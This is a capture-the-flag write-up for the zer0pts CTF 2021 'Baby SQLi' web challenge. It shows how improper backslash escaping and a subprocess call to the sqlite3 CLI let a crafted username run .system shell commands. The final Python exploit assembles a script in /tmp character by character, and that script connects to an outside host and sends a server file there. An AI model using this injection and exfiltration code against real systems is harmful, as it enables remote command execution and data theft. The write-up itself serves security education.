# Baby SQLi - zer0pts CTF 2021 ###### tags: `zer0pts CTF 2021` `web` ## Overview - The flag is in `templates/index.html` as below. To obtain the flag, you need to be logged in as `admin`, or read the content of the template file. ```html=10 {% if name == 'admin' %} <p>zer0pts{*****CENSORED*****}</p> {% else %} ``` - User input will be embedded in SQL statement, however, SQL Injection in `/login` seems to be prevented by escaping it. ```python=24 def sqlite3_escape(s): return re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s) ``` ```python=38 @app.route('/login', methods=['post']) def auth(): username = flask.request.form.get('username', default='', type=str) password = flask.request.form.get('password', default='', type=str) if len(username) > 32 or len(password) > 32: flask.session['msg'] = 'Too long username or password' return flask.redirect(flask.url_for('home')) password_hash = hashlib.sha256(password.encode()).hexdigest() result = None try: result = sqlite3_query( 'SELECT * FROM users WHERE username="{}" AND password="{}";' .format(sqlite3_escape(username), password_hash) ) except: pass ``` - Communicating with SQLite3 database is implemented with `subprocess.Popen` even though Python supports `sqlite3` module. ```python=10 def sqlite3_query(sql): p = subprocess.Popen(['sqlite3', 'database.db'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) o, e = p.communicate(sql.encode()) if e: raise Exception(e) result = [] for row in o.decode().split('\n'): if row == '': break result.append(tuple(row.split('|'))) return result ``` ## Solution ### SQL Injection `sqlite3_escape` escapes characters except for `_.\sa-zA-Z0-9` by prepending backslashes. However, in SQLite3, you need to escape `'` and `"` in a string literal [by putting the same character twice](https://www.sqlite.org/lang_expr.html#:~:text=A%20string%20constant,standard%20SQL.) instead of prepending backslashes. ``` $ sqlite3 SQLite version 3.27.2 2019-02-25 16:06:06 Enter ".help" for usage hints. Connected to a transient in-memory database. Use ".open FILENAME" to reopen on a persistent database. sqlite> SELECT "\"; \ sqlite> SELECT "a""b"; a"b ``` Because of this behavior, when you input `"` as `username` in `/login`, it breaks SQL structure. ### SQLite3 commands By breaking SQL structure, you can insert some characters after `"`. It is important that you can also use LF (U+000A) because in CLI version of SQLite3, by combinating `"` and `;`, you can end SQL statement and then execute next query or SQLite3 commands. For example, if you input `";\n.tables\n` as username, you can execute `.tables` command as below. ``` sqlite> SELECT * FROM users WHERE username="\"\; Error: unrecognized token: "\" sqlite> .tables users ``` However, as you can see in the code as below, if there is any output to stderr, you cannot retrieve the output to stdout. ```python=10 def sqlite3_query(sql): p = subprocess.Popen(['sqlite3', 'database.db'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) o, e = p.communicate(sql.encode()) if e: raise Exception(e) result = [] for row in o.decode().split('\n'): if row == '': break result.append(tuple(row.split('|'))) return result ``` Let's find some useful commands to bypass this restriction. Looking through `.help` command, you can find `.shell` command, which can be used to execute OS commands. ``` sqlite> .help ... .session ?NAME? CMD ... Create or control sessions .sha3sum ... Compute a SHA3 hash of database content .shell CMD ARGS... Run CMD ARGS... in a system shell .show Show the current values for various settings .stats ?on|off? Show stats or turn stats on or off ... ``` Although there is a limit on the length of username, you can bypass it by writing payload to somewhere under `/tmp` character by character and executing the script as below. ```python import requests HOST = 'localhost' PORT = 8004 script = "import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('moxxie.tk',18001));s.send(open('/home/app/templates/index.html','rb').read())" def run(cmd): payload = { 'username': '";\n.system {}\n'.format(cmd), 'password': 'legoshi' } r = requests.post(f'http://{HOST}:{PORT}/login', data=payload) run('printf "">/tmp/hal') for c in script: run('printf "{}">>/tmp/hal'.format(c)) run("python /tmp/hal") ``` ``` zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?} ```